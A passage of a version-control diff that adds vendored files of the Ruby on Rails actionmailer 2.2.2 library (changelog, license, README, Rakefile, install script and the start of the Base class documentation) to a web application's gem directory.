--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/CHANGELOG	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/CHANGELOG	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,349 @@
+*2.2.1 [RC2] (November 14th, 2008)*
+
+* Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 [Grant Hollingworth]
+
+
+*2.2.0 [RC1] (October 24th, 2008)*
+
+* Add layout functionality to mailers [Pratik]
+
+  Mailer layouts behaves just like controller layouts, except layout names need to
+  have '_mailer' postfix for them to be automatically picked up.
+
+
+*2.1.0 (May 31st, 2008)*
+
+* Fixed that a return-path header would be ignored #7572 [joost]
+
+* Less verbose mail logging: just recipients for :info log level; the whole email for :debug only.  #8000 [iaddict, Tarmo Tänav]
+
+* Updated TMail to version 1.2.1 [raasdnil]
+
+* Fixed that you don't have to call super in ActionMailer::TestCase#setup #10406 [jamesgolick]
+
+
+*2.0.2* (December 16th, 2007)
+
+* Included in Rails 2.0.2
+
+
+*2.0.1* (December 7th, 2007)
+
+* Update ActionMailer so it treats ActionView the same way that ActionController does.  Closes #10244 [rick]
+
+  * Pass the template_root as an array as ActionView's view_path
+  * Request templates with the "#{mailer_name}/#{action}" as opposed to just "#{action}"
+
+* Fixed that partials would be broken when using text.plain.erb as the extension #10130 [java]
+
+* Update README to use new smtp settings configuration API. Closes #10060 [psq]
+
+* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 [zdennis]
+
+* Update TMail to v1.1.0.  Use an updated version of TMail if available.  [mikel]
+
+* Introduce a new base test class for testing Mailers.  ActionMailer::TestCase [Koz]
+
+* Fix silent failure of rxml templates.  #9879 [jstewart]
+
+* Fix attachment decoding when using the TMail C extension.  #7861 [orangechicken]
+
+* Increase mail delivery test coverage.  #8692 [Kamal Fariz Mahyuddin]
+
+* Register alternative template engines using ActionMailer::Base.register_template_extension('haml').  #7534 [cwd, Josh Peek]
+
+* Only load ActionController::UrlWriter if ActionController is present [Rick Olson]
+
+* Make sure parsed emails recognized attachments nested inside multipart parts. #6714 [Jamis Buck]
+
+* Allow mailer actions named send by using __send__ internally.  #6467 [iGEL]
+
+* Add assert_emails and assert_no_emails to test the number of emails delivered.  #6479 [Jonathan Viney]
+    # Assert total number of emails delivered:
+    assert_emails 0
+    ContactMailer.deliver_contact
+    assert_emails 1
+
+    # Assert number of emails delivered within a block:
+    assert_emails 1 do
+      post :signup, :name => 'Jonathan'
+    end
+
+
+*1.3.3* (March 12th, 2007)
+
+* Depend on Action Pack 1.13.3
+
+
+*1.3.2* (February 5th, 2007)
+
+* Deprecate server_settings renaming it to smtp_settings,  add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. [Koz]
+
+
+*1.3.1* (January 16th, 2007)
+
+* Depend on Action Pack 1.13.1
+
+
+*1.3.0* (January 16th, 2007)
+
+* Make mime version default to 1.0. closes #2323 [ror at andreas-s.net]
+
+* Make sure quoted-printable text is decoded correctly when only portions of the text are encoded. closes #3154. [jon at siliconcircus.com]
+
+* Make sure DOS newlines in quoted-printable text are normalized to unix newlines before unquoting. closes #4166 and #4452. [Jamis Buck]
+
+* Fixed that iconv decoding should catch InvalidEncoding #3153 [jon at siliconcircus.com]
+
+* Tighten rescue clauses.  #5985 [james at grayproductions.net]
+
+* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. [DHH]
+
+* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
+
+* Mailer template root applies to a class and its subclasses rather than acting globally. #5555 [somekool at gmail.com]
+
+* Resolve action naming collision. #5520 [ssinghi at kreeti.com]
+
+* ActionMailer::Base documentation rewrite. Closes #4991 [Kevin Clark, Marcel Molina Jr.]
+
+* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.] 
+
+* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
+
+* Correct spurious documentation example code which results in a SyntaxError. [Marcel Molina Jr.]
+
+
+*1.2.1* (April 6th, 2006)
+
+* Be part of Rails 1.1.1
+
+
+*1.2.0* (March 27th, 2006)
+
+* Nil charset caused subject line to be improperly quoted in implicitly multipart messages #2662 [ehalvorsen+rails at runbox.com]
+
+* Parse content-type apart before using it so that sub-parts of the header can be set correctly #2918 [Jamis Buck]
+
+* Make custom headers work in subparts #4034 [elan at bluemandrill.com]
+
+* Template paths with dot chars in them no longer mess up implicit template selection for multipart messages #3332 [Chad Fowler]
+
+* Make sure anything with content-disposition of "attachment" is passed to the attachment presenter when parsing an email body [Jamis Buck]
+
+* Make sure TMail#attachments includes anything with content-disposition of "attachment", regardless of content-type [Jamis Buck]
+
+
+*1.1.5* (December 13th, 2005)
+
+* Become part of Rails 1.0
+
+
+*1.1.4* (December 7th, 2005)
+
+* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
+
+* Stricter matching for implicitly multipart filenames excludes files ending in unsupported extensions (such as foo.rhtml.bak) and without a two-part content type (such as foo.text.rhtml or foo.text.really.plain.rhtml).  #2398 [Dave Burt <dave at burt.id.au>, Jeremy Kemper]
+
+
+*1.1.3* (November 7th, 2005)
+
+* Allow Mailers to have custom initialize methods that set default instance variables for all mail actions #2563 [mrj at bigpond.net.au]
+
+
+*1.1.2* (October 26th, 2005)
+
+* Upgraded to Action Pack 1.10.2
+
+
+*1.1.1* (October 19th, 2005)
+
+* Upgraded to Action Pack 1.10.1
+
+
+*1.1.0* (October 16th, 2005)
+
+* Update and extend documentation (rdoc)
+
+* Minero Aoki made TMail available to Rails/ActionMailer under the MIT license (instead of LGPL) [RubyConf '05]
+
+* Austin Ziegler made Text::Simple available to Rails/ActionMailer under a MIT-like licens [See rails ML, subject "Text::Format Licence Exception" on Oct 15, 2005]
+
+* Fix vendor require paths to prevent files being required twice
+
+* Don't add charset to content-type header for a part that contains subparts (for AOL compatibility) #2013 [John Long]
+
+* Preserve underscores when unquoting message bodies #1930
+
+* Encode multibyte characters correctly #1894
+
+* Multipart messages specify a MIME-Version header automatically #2003 [John Long]
+
+* Add a unified render method to ActionMailer (delegates to ActionView::Base#render)
+
+* Move mailer initialization to a separate (overridable) method, so that subclasses may alter the various defaults #1727
+
+* Look at content-location header (if available) to determine filename of attachments #1670
+
+* ActionMailer::Base.deliver(email) had been accidentally removed, but was documented in the Rails book #1849
+
+* Fix problem with sendmail delivery where headers should be delimited by \n characters instead of \r\n, which confuses some mail readers #1742 [Kent Sibilev]
+
+
+*1.0.1* (11 July, 2005)
+
+* Bind to Action Pack 1.9.1
+
+
+*1.0.0* (6 July, 2005)
+
+* Avoid adding nil header values #1392
+
+* Better multipart support with implicit multipart/alternative and sorting of subparts [John Long]
+
+* Allow for nested parts in multipart mails #1570 [Flurin Egger]
+
+* Normalize line endings in outgoing mail bodies to "\n" #1536 [John Long]
+
+* Allow template to be explicitly specified #1448 [tuxie at dekadance.se]
+
+* Allow specific "multipart/xxx" content-type to be set on multipart messages #1412 [Flurin Egger]
+
+* Unquoted @ characters in headers are now accepted in spite of RFC 822 #1206
+
+* Helper support (borrowed from ActionPack)
+
+* Silently ignore Errno::EINVAL errors when converting text.
+
+* Don't cause an error when parsing an encoded attachment name #1340 [lon at speedymac.com]
+
+* Nested multipart message parts are correctly processed in TMail::Mail#body
+
+* BCC headers are removed when sending via SMTP #1402
+
+* Added 'content_type' accessor, to allow content type to be set on a per-message basis. content_type defaults to "text/plain".
+
+* Silently ignore Iconv::IllegalSequence errors when converting text #1341 [lon at speedymac.com]
+
+* Support attachments and multipart messages.
+
+* Added new accessors for the various mail properties.
+
+* Fix to only perform the charset conversion if a 'from' and a 'to' charset are given (make no assumptions about what the charset was) #1276 [Jamis Buck]
+
+* Fix attachments and content-type problems #1276 [Jamis Buck]
+
+* Fixed the TMail#body method to look at the content-transfer-encoding header and unquote the body according to the rules it specifies #1265 [Jamis Buck]
+
+* Added unquoting even if the iconv lib can't be loaded--in that case, only the charset conversion is skipped #1265 [Jamis Buck]
+
+* Added automatic decoding of base64 bodies #1214 [Jamis Buck]
+
+* Added that delivery errors are caught in a way so the mail is still returned whether the delivery was successful or not
+
+* Fixed that email address like "Jamis Buck, M.D." <wild.medicine at example.net> would cause the quoter to generate emails resulting in "bad address" errors from the mail server #1220 [Jamis Buck]
+
+
+*0.9.1* (20th April, 2005)
+
+* Depend on Action Pack 1.8.1
+
+
+*0.9.0* (19th April, 2005)
+
+* Added that deliver_* will now return the email that was sent
+
+* Added that quoting to UTF-8 only happens if the characters used are in that range #955 [Jamis Buck] 
+
+* Fixed quoting for all address headers, not just to #955 [Jamis Buck]
+
+* Fixed unquoting of emails that doesn't have an explicit charset #1036 [wolfgang at stufenlos.net]
+
+
+*0.8.1* (27th March, 2005)
+
+* Fixed that if charset was found that the end of a mime part declaration TMail would throw an error #919 [lon at speedymac.com]
+
+* Fixed that TMail::Unquoter would fail to recognize quoting method if it was in lowercase #919 [lon at speedymac.com]
+
+* Fixed that TMail::Encoder would fail when it attempts to parse e-mail addresses which are encoded using something other than the messages encoding method #919 [lon at speedymac.com]
+
+* Added rescue for missing iconv library and throws warnings if subject/body is called on a TMail object without it instead
+
+
+*0.8.0* (22th March, 2005)
+
+* Added framework support for processing incoming emails with an Action Mailer class. See example in README.
+
+
+*0.7.1* (7th March, 2005)
+
+* Bind to newest Action Pack (1.5.1)
+
+
+*0.7.0* (24th February, 2005)
+
+* Added support for charsets for both subject and body. The default charset is now UTF-8 #673 [Jamis Buck]. Examples:
+
+    def iso_charset(recipient)
+      @recipients = recipient
+      @subject    = "testing iso charsets"
+      @from       = "system at loudthinking.com"
+      @body       = "Nothing to see here."
+      @charset    = "iso-8859-1"
+    end
+    
+    def unencoded_subject(recipient)
+      @recipients = recipient
+      @subject    = "testing unencoded subject"
+      @from       = "system at loudthinking.com"
+      @body       = "Nothing to see here."
+      @encode_subject = false
+      @charset    = "iso-8859-1"
+    end
+    
+
+*0.6.1* (January 18th, 2005)
+
+* Fixed sending of emails to use Tmail#from not the deprecated Tmail#from_address
+
+
+*0.6* (January 17th, 2005)
+
+* Fixed that bcc and cc should be settable through @bcc and @cc -- not just @headers["Bcc"] and @headers["Cc"] #453 [Eric Hodel]
+
+* Fixed Action Mailer to be "warnings safe" so you can run with ruby -w and not get framework warnings #453 [Eric Hodel]
+
+
+*0.5*
+
+* Added access to custom headers, like cc, bcc, and reply-to #268 [Andreas Schwarz]. Example:
+
+    def post_notification(recipients, post)
+      @recipients          = recipients
+      @from                = post.author.email_address_with_name
+      @headers["bcc"]      = SYSTEM_ADMINISTRATOR_EMAIL
+      @headers["reply-to"] = "notifications at example.com"
+      @subject             = "[#{post.account.name} #{post.title}]"
+      @body["post"]        = post
+    end
+
+*0.4* (5)
+
+* Consolidated the server configuration options into Base#server_settings= and expanded that with controls for authentication and more [Marten]
+  NOTE: This is an API change that could potentially break your application if you used the old application form. Please do change!
+
+* Added Base#deliveries as an accessor for an array of emails sent out through that ActionMailer class when using the :test delivery option. [Jeremy Kemper]
+
+* Added Base#perform_deliveries= which can be set to false to turn off the actual delivery of the email through smtp or sendmail.
+  This is especially useful for functional testing that shouldn't send off real emails, but still trigger delivery_* methods.
+
+* Added option to specify delivery method with Base#delivery_method=. Default is :smtp and :sendmail is currently the only other option.
+  Sendmail is assumed to be present at "/usr/sbin/sendmail" if that option is used. [Kent Sibilev]
+
+* Dropped "include TMail" as it added to much baggage into the default namespace (like Version) [Chad Fowler]
+
+
+*0.3*
+
+* First release

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/MIT-LICENSE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/MIT-LICENSE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/MIT-LICENSE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2008 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,149 @@
+= Action Mailer -- Easy email delivery and testing
+
+Action Mailer is a framework for designing email-service layers. These layers
+are used to consolidate code for sending out forgotten passwords, welcome
+wishes on signup, invoices for billing, and any other use case that requires
+a written notification to either a person or another system.
+
+Additionally, an Action Mailer class can be used to process incoming email,
+such as allowing a weblog to accept new posts from an email (which could even
+have been sent from a phone).
+
+== Sending emails
+
+The framework works by setting up all the email details, except the body,
+in methods on the service layer. Subject, recipients, sender, and timestamp
+are all set up this way. An example of such a method:
+
+  def signed_up(recipient)
+    recipients recipient
+    subject    "[Signed up] Welcome #{recipient}"
+    from       "system at loudthinking.com"
+    body       :recipient => recipient
+  end
+
+The body of the email is created by using an Action View template (regular
+ERb) that has the content of the body hash parameter available as instance variables. 
+So the corresponding body template for the method above could look like this:
+
+  Hello there, 
+
+  Mr. <%= @recipient %>
+  
+And if the recipient was given as "david at loudthinking.com", the email 
+generated would look like this:
+
+  Date: Sun, 12 Dec 2004 00:00:00 +0100
+  From: system at loudthinking.com
+  To: david at loudthinking.com
+  Subject: [Signed up] Welcome david at loudthinking.com
+
+  Hello there, 
+
+  Mr. david at loudthinking.com
+
+You never actually call the instance methods like signed_up directly. Instead,
+you call class methods like deliver_* and create_* that are automatically
+created for each instance method. So if the signed_up method sat on
+ApplicationMailer, it would look like this:
+
+  ApplicationMailer.create_signed_up("david at loudthinking.com")  # => tmail object for testing
+  ApplicationMailer.deliver_signed_up("david at loudthinking.com") # sends the email
+  ApplicationMailer.new.signed_up("david at loudthinking.com")     # won't work!
+
+== Receiving emails
+
+To receive emails, you need to implement a public instance method called receive that takes a
+tmail object as its single parameter. The Action Mailer framework has a corresponding class method, 
+which is also called receive, that accepts a raw, unprocessed email as a string, which it then turns
+into the tmail object and calls the receive instance method.
+
+Example:
+
+  class Mailman < ActionMailer::Base
+    def receive(email)
+      page = Page.find_by_address(email.to.first)
+      page.emails.create(
+        :subject => email.subject, :body => email.body
+      )
+
+      if email.has_attachments?
+        for attachment in email.attachments
+          page.attachments.create({ 
+            :file => attachment, :description => email.subject
+          })
+        end
+      end
+    end
+  end
+
+This Mailman can be the target for Postfix or other MTAs. In Rails, you would use the runner in the 
+trivial case like this:
+
+  ./script/runner 'Mailman.receive(STDIN.read)'
+
+However, invoking Rails in the runner for each mail to be received is very resource intensive.  A single 
+instance of Rails should be run within a daemon if it is going to be utilized to process more than just 
+a limited number of email.
+
+== Configuration
+
+The Base class has the full list of configuration options. Here's an example:
+
+  ActionMailer::Base.smtp_settings = {
+    :address        => 'smtp.yourserver.com', # default: localhost
+    :port           => '25',                  # default: 25
+    :user_name      => 'user',
+    :password       => 'pass',
+    :authentication => :plain                 # :plain, :login or :cram_md5
+  }
+
+== Dependencies
+
+Action Mailer requires that the Action Pack is either available to be required immediately
+or is accessible as a GEM.
+
+
+== Bundled software
+
+* tmail 0.10.8 by Minero Aoki released under LGPL
+  Read more on http://i.loveruby.net/en/prog/tmail.html
+
+* Text::Format 0.63 by Austin Ziegler released under OpenSource
+  Read more on http://www.halostatue.ca/ruby/Text__Format.html
+
+
+== Download
+
+The latest version of Action Mailer can be found at
+
+* http://rubyforge.org/project/showfiles.php?group_id=361
+
+Documentation can be found at 
+
+* http://actionmailer.rubyonrails.org
+
+
+== Installation
+
+You can install Action Mailer with the following command.
+
+  % [sudo] ruby install.rb
+
+from its distribution directory.
+
+
+== License
+
+Action Mailer is released under the MIT license.
+
+
+== Support
+
+The Action Mailer homepage is http://www.rubyonrails.org. You can find
+the Action Mailer RubyForge page at http://rubyforge.org/projects/actionmailer.
+And as Jim from Rake says:
+
+   Feel free to submit commits or feature requests.  If you send a patch,
+   remember to update the corresponding unit tests.  If fact, I prefer
+   new feature to be submitted in the form of new unit tests.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,98 @@
+require 'rubygems'
+require 'rake'
+require 'rake/testtask'
+require 'rake/rdoctask'
+require 'rake/packagetask'
+require 'rake/gempackagetask'
+require 'rake/contrib/sshpublisher'
+require File.join(File.dirname(__FILE__), 'lib', 'action_mailer', 'version')
+
+PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
+PKG_NAME      = 'actionmailer'
+PKG_VERSION   = ActionMailer::VERSION::STRING + PKG_BUILD
+PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
+
+RELEASE_NAME  = "REL #{PKG_VERSION}"
+
+RUBY_FORGE_PROJECT = "actionmailer"
+RUBY_FORGE_USER    = "webster132"
+
+desc "Default Task"
+task :default => [ :test ]
+
+# Run the unit tests
+Rake::TestTask.new { |t|
+  t.libs << "test"
+  t.pattern = 'test/*_test.rb'
+  t.verbose = true
+  t.warning = false
+}
+
+
+# Generate the RDoc documentation
+Rake::RDocTask.new { |rdoc|
+  rdoc.rdoc_dir = 'doc'
+  rdoc.title    = "Action Mailer -- Easy email delivery and testing"
+  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+  rdoc.options << '--charset' << 'utf-8'
+  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
+  rdoc.rdoc_files.include('README', 'CHANGELOG')
+  rdoc.rdoc_files.include('lib/action_mailer.rb')
+  rdoc.rdoc_files.include('lib/action_mailer/*.rb')
+}
+
+
+# Create compressed packages
+spec = Gem::Specification.new do |s|
+  s.platform = Gem::Platform::RUBY
+  s.name = PKG_NAME
+  s.summary = "Service layer for easy email delivery and testing."
+  s.description = %q{Makes it trivial to test and deliver emails sent from a single service layer.}
+  s.version = PKG_VERSION
+
+  s.author = "David Heinemeier Hansson"
+  s.email = "david at loudthinking.com"
+  s.rubyforge_project = "actionmailer"
+  s.homepage = "http://www.rubyonrails.org"
+
+  s.add_dependency('actionpack', '= 2.2.2' + PKG_BUILD)
+
+  s.has_rdoc = true
+  s.requirements << 'none'
+  s.require_path = 'lib'
+  s.autorequire = 'action_mailer'
+
+  s.files = [ "Rakefile", "install.rb", "README", "CHANGELOG", "MIT-LICENSE" ]
+  s.files = s.files + Dir.glob( "lib/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
+  s.files = s.files + Dir.glob( "test/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
+end
+  
+Rake::GemPackageTask.new(spec) do |p|
+  p.gem_spec = spec
+  p.need_tar = true
+  p.need_zip = true
+end
+
+
+desc "Publish the API documentation"
+task :pgem => [:package] do 
+  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
+  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
+end
+
+desc "Publish the API documentation"
+task :pdoc => [:rdoc] do 
+  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/am", "doc").upload
+end
+
+desc "Publish the release files to RubyForge."
+task :release => [ :package ] do
+  require 'rubyforge'
+  require 'rake/contrib/rubyforgepublisher'
+
+  packages = %w( gem tgz zip ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
+
+  rubyforge = RubyForge.new
+  rubyforge.login
+  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/install.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/install.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/install.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'rbconfig'
+require 'find'
+require 'ftools'
+
+include Config
+
+# this was adapted from rdoc's install.rb by way of Log4r
+
+$sitedir = CONFIG["sitelibdir"]
+unless $sitedir
+  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
+  $libdir = File.join(CONFIG["libdir"], "ruby", version)
+  $sitedir = $:.find {|x| x =~ /site_ruby/ }
+  if !$sitedir
+    $sitedir = File.join($libdir, "site_ruby")
+  elsif $sitedir !~ Regexp.quote(version)
+    $sitedir = File.join($sitedir, version)
+  end
+end
+
+# the actual gruntwork
+Dir.chdir("lib")
+
+Find.find("action_mailer", "action_mailer.rb") { |f|
+  if f[-3..-1] == ".rb"
+    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
+  else
+    File::makedirs(File.join($sitedir, *f.split(/\//)))
+  end
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/adv_attr_accessor.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/adv_attr_accessor.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/adv_attr_accessor.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+module ActionMailer
+  module AdvAttrAccessor #:nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    module ClassMethods #:nodoc:
+      def adv_attr_accessor(*names)
+        names.each do |name|
+          ivar = "@#{name}"
+
+          define_method("#{name}=") do |value|
+            instance_variable_set(ivar, value)
+          end
+
+          define_method(name) do |*parameters|
+            raise ArgumentError, "expected 0 or 1 parameters" unless parameters.length <= 1
+            if parameters.empty?
+              if instance_variable_names.include?(ivar)
+                instance_variable_get(ivar)
+              end
+            else
+              instance_variable_set(ivar, parameters.first)
+            end
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/base.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/base.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/base.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,690 @@
+require 'action_mailer/adv_attr_accessor'
+require 'action_mailer/part'
+require 'action_mailer/part_container'
+require 'action_mailer/utils'
+require 'tmail/net'
+
+module ActionMailer #:nodoc:
+  # Action Mailer allows you to send email from your application using a mailer model and views.
+  #
+  #
+  # = Mailer Models
+  #
+  # To use Action Mailer, you need to create a mailer model.
+  #
+  #   $ script/generate mailer Notifier
+  #
+  # The generated model inherits from ActionMailer::Base. Emails are defined by creating methods within the model which are then
+  # used to set variables to be used in the mail template, to change options on the mail, or
+  # to add attachments.
+  #
+  # Examples:
+  #
+  #  class Notifier < ActionMailer::Base
+  #    def signup_notification(recipient)
+  #      recipients recipient.email_address_with_name
+  #      from       "system at example.com"
+  #      subject    "New account information"
+  #      body       :account => recipient
+  #    end
+  #  end
+  #
+  # Mailer methods have the following configuration methods available.
+  #
+  # * <tt>recipients</tt> - Takes one or more email addresses. These addresses are where your email will be delivered to. Sets the <tt>To:</tt> header.
+  # * <tt>subject</tt> - The subject of your email. Sets the <tt>Subject:</tt> header.
+  # * <tt>from</tt> - Who the email you are sending is from. Sets the <tt>From:</tt> header.
+  # * <tt>cc</tt> - Takes one or more email addresses. These addresses will receive a carbon copy of your email. Sets the <tt>Cc:</tt> header.
+  # * <tt>bcc</tt> - Takes one or more email addresses. These addresses will receive a blind carbon copy of your email. Sets the <tt>Bcc:</tt> header.
+  # * <tt>reply_to</tt> - Takes one or more email addresses. These addresses will be listed as the default recipients when replying to your email. Sets the <tt>Reply-To:</tt> header.
+  # * <tt>sent_on</tt> - The date on which the message was sent. If not set, the header wil be set by the delivery agent.
+  # * <tt>content_type</tt> - Specify the content type of the message. Defaults to <tt>text/plain</tt>.
+  # * <tt>headers</tt> - Specify additional headers to be set for the message, e.g. <tt>headers 'X-Mail-Count' => 107370</tt>.
+  #
+  # When a <tt>headers 'return-path'</tt> is specified, that value will be used as the 'envelope from'
+  # address. Setting this is useful when you want delivery notifications sent to a different address than
+  # the one in <tt>from</tt>.
+  #
+  # The <tt>body</tt> method has special behavior. It takes a hash which generates an instance variable
+  # named after each key in the hash containing the value that that key points to.
+  #
+  # So, for example, <tt>body :account => recipient</tt> would result
+  # in an instance variable <tt>@account</tt> with the value of <tt>recipient</tt> being accessible in the
+  # view.
+  #
+  #
+  # = Mailer views
+  #
+  # Like Action Controller, each mailer class has a corresponding view directory
+  # in which each method of the class looks for a template with its name.
+  # To define a template to be used with a mailing, create an <tt>.erb</tt> file with the same name as the method
+  # in your mailer model. For example, in the mailer defined above, the template at
+  # <tt>app/views/notifier/signup_notification.erb</tt> would be used to generate the email.
+  #
+  # Variables defined in the model are accessible as instance variables in the view.
+  #
+  # Emails by default are sent in plain text, so a sample view for our model example might look like this:
+  #
+  #   Hi <%= @account.name %>,
+  #   Thanks for joining our service! Please check back often.
+  #
+  # You can even use Action Pack helpers in these views. For example:
+  #
+  #   You got a new note!
+  #   <%= truncate(note.body, 25) %>
+  #
+  #
+  # = Generating URLs
+  #
+  # URLs can be generated in mailer views using <tt>url_for</tt> or named routes.
+  # Unlike controllers from Action Pack, the mailer instance doesn't have any context about the incoming request,
+  # so you'll need to provide all of the details needed to generate a URL.
+  #
+  # When using <tt>url_for</tt> you'll need to provide the <tt>:host</tt>, <tt>:controller</tt>, and <tt>:action</tt>:
+  #
+  #   <%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %>
+  #
+  # When using named routes you only need to supply the <tt>:host</tt>:
+  #
+  #   <%= users_url(:host => "example.com") %>
+  #
+  # You will want to avoid using the <tt>name_of_route_path</tt> form of named routes because it doesn't make sense to
+  # generate relative URLs in email messages.
+  #
+  # It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option in
+  # the <tt>ActionMailer::Base.default_url_options</tt> hash as follows:
+  #
+  #   ActionMailer::Base.default_url_options[:host] = "example.com"
+  #
+  # This can also be set as a configuration option in <tt>config/environment.rb</tt>:
+  #
+  #   config.action_mailer.default_url_options = { :host => "example.com" }
+  #
+  # If you do decide to set a default <tt>:host</tt> for your mailers you will want to use the
+  # <tt>:only_path => false</tt> option when using <tt>url_for</tt>. This will ensure that absolute URLs are generated because
+  # the <tt>url_for</tt> view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't
+  # explicitly provided.
+  #
+  # = Sending mail
+  #
+  # Once a mailer action and template are defined, you can deliver your message or create it and save it
+  # for delivery later:
+  #
+  #   Notifier.deliver_signup_notification(david) # sends the email
+  #   mail = Notifier.create_signup_notification(david)  # => a tmail object
+  #   Notifier.deliver(mail)
+  #
+  # You never instantiate your mailer class. Rather, your delivery instance
+  # methods are automatically wrapped in class methods that start with the word
+  # <tt>deliver_</tt> followed by the name of the mailer method that you would
+  # like to deliver. The <tt>signup_notification</tt> method defined above is
+  # delivered by invoking <tt>Notifier.deliver_signup_notification</tt>.
+  #
+  #
+  # = HTML email
+  #
+  # To send mail as HTML, make sure your view (the <tt>.erb</tt> file) generates HTML and
+  # set the content type to html.
+  #
+  #   class MyMailer < ActionMailer::Base
+  #     def signup_notification(recipient)
+  #       recipients   recipient.email_address_with_name
+  #       subject      "New account information"
+  #       from         "system at example.com"
+  #       body         :account => recipient
+  #       content_type "text/html"
+  #     end
+  #   end
+  #
+  #
+  # = Multipart email
+  #
+  # You can explicitly specify multipart messages:
+  #
+  #   class ApplicationMailer < ActionMailer::Base
+  #     def signup_notification(recipient)
+  #       recipients      recipient.email_address_with_name
+  #       subject         "New account information"
+  #       from            "system at example.com"
+  #       content_type    "multipart/alternative"
+  #
+  #       part :content_type => "text/html",
+  #         :body => render_message("signup-as-html", :account => recipient)
+  #
+  #       part "text/plain" do |p|
+  #         p.body = render_message("signup-as-plain", :account => recipient)
+  #         p.transfer_encoding = "base64"
+  #       end
+  #     end
+  #   end
+  #
+  # Multipart messages can also be used implicitly because Action Mailer will automatically
